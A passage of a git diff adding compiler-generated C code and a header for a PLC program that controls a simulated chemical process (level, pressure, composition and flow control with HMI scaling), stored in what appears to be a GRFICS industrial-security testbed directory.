(REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) 